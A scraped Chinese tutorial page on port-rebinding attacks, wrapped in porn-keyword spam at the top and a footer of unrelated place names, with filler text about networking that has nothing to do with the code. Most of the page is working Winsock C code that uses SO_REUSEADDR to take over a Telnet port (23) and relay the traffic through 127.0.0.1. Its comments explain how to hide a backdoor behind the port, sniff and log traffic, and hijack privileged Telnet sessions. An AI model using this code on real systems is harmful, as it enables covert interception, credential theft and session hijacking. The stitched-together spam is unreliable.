人人做人人澡人人爽欧美,国产主播一区二区,久久久精品五月天,羞羞视频在线观看免费

當前位置:蘿卜系統 > 網絡技術教程 > 詳細頁面

端口截聽完成端口隱藏嗅探與攻擊(2)

端口截聽完成端口隱藏嗅探與攻擊(2)

更新時間:2021-04-21 文章作者:未知 信息來源:網絡 閱讀次數:

網絡技術是從1990年代中期發展起來的新技術,它把互聯網上分散的資源融為有機整體,實現資源的全面共享和有機協作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機、存儲資源、數據資源、信息資源、知識資源、專家資源、大型數據庫、網絡、傳感器等。 當前的互聯網只限于信息共享,網絡則被認為是互聯網發展的第三階段。
以下是代碼片段:
#include 
#include 
#include 
#include 


DWORD WINAPI ClientThread(LPVOID lpParam);


int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;


wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截聽雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應用情況下,應該指定具體的IP,留下127.0.0.1給正常的服務應用,然后利用這個地址進行轉發,就可以不影響對方正常應用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR選項就是可以實現端口重綁定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功,返回無權限的錯誤代碼;
//如果是想通過重利用端口達到隱藏的目的,就可以動態的測試當前已綁定的端口哪個可以成功,就說明具備這個漏洞,然后動態利用端口使得更隱蔽
//其實UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務為例子進行攻擊
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2); 
while(1)
{
caddsize = sizeof(scaddr);
//接受連接請求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}


DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隱藏端口應用的話,可以在此處加一些判斷
//如果是自己的包,就可以進行一些特殊處理,不是的話通過127.0.0.1進行轉發


saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代碼主要是實現通過127。0。0。1這個地址把包轉發到真正的應用上,并把應答的包再轉發回去。
//如果是嗅探內容的話,可以再此處進行內容分析和記錄
//如果是攻擊如TELNET服務器,利用其高權限登陸用戶的話,可以分析其登陸用戶,然后利用發送特定的包以劫持的用戶身份執行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;


網絡的神奇作用吸引著越來越多的用戶加入其中,正因如此,網絡的承受能力也面臨著越來越嚴峻的考驗―從硬件上、軟件上、所用標準上......,各項技術都需要適時應勢,對應發展,這正是網絡迅速走向進步的催化劑。

溫馨提示:喜歡本站的話,請收藏一下本站!

本類教程下載

系統下載排行

網站地圖xml | 網站地圖html
主站蜘蛛池模板: 襄樊市| 临泉县| 河津市| 东乌珠穆沁旗| 长春市| 镇远县| 缙云县| 拉萨市| 屯门区| 福贡县| 定兴县| 堆龙德庆县| 永昌县| 浦东新区| 运城市| 河源市| 合江县| 尼木县| 新竹市| 高唐县| 治多县| 平遥县| 鄂伦春自治旗| 普定县| 新竹市| 斗六市| 大名县| 乌兰浩特市| 虞城县| 绥江县| 丽江市| 高唐县| 吴江市| 兴城市| 垫江县| 光山县| 鸡东县| 凯里市| 专栏| 广元市| 明光市|